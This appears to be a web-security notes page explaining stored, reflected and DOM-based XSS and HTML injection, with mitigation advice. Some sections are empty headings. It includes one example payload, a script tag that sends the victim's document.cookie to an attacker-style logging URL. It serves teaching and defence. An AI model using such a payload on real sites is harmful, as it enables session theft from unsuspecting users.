HTML | XSS
XSS
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.
Types
Stored XSS
The injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.
Reflected XSS
Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.
Explanations
Letβs say a web page has a search box, which displays the search text alongside the search results as follows : Your search results for βsearchtextβ:
The web page also uses the HTTP GET request method to embed the userβs input data to the query string of the URL as follows: https://example.com/action.php?query=searchtext
If the search box is susceptible to a non-persistent XSS attack, a cybercriminal can send a malicious link to an unsuspecting user and exploit the vulnerability. This is how the script-injected link could look like:
DOM XSS
DOM Based XSS (or as it is called in some texts, βtype-0 XSSβ) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM βenvironmentβ in the victimβs browser used by the original client side script, so that the client side code runs in an βunexpectedβ manner.
That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
Letβs take the following example of a web page that utilizes JavaScript to manipulate a DOM element:
As you can see on the code snippet above, the value from a user input field is grabbed and appended to an element within the web pageβs HTML. If an attacker can control this value, they can craft a devious value that forces their own code to be executed.
Here is an example :
Your search results for: β<script>document.location=βhttps://xssattacksite.com/log.php?c=β + document.cookie</script>β
Payloads
Examples
N.B.
alert() print()
Use print instead of alert
Beef
Install & Config
Control
Mitigations
Developers should implement a whitelist of allowable inputs, and if not possible then there should be some input validations and the data entered by the user must be filtered as much as possible.
Output encoding is the most reliable solution to combat XSS i.e. it takes up the script code and thus converts it into the plain text.
A WAF (Web Application Firewall) should be implemented as it somewhere protects the application from XSS attacks.
Use of HTTPOnly Flags on the Cookies.
The developers can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities.
HTML Injection
Check
Form fields
Exploit with BurpSuite using URL Encode
Payloads
Mitigations
The developer should set up his HTML script which filters the meta-characters from user inputs.
The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacement.
Last updated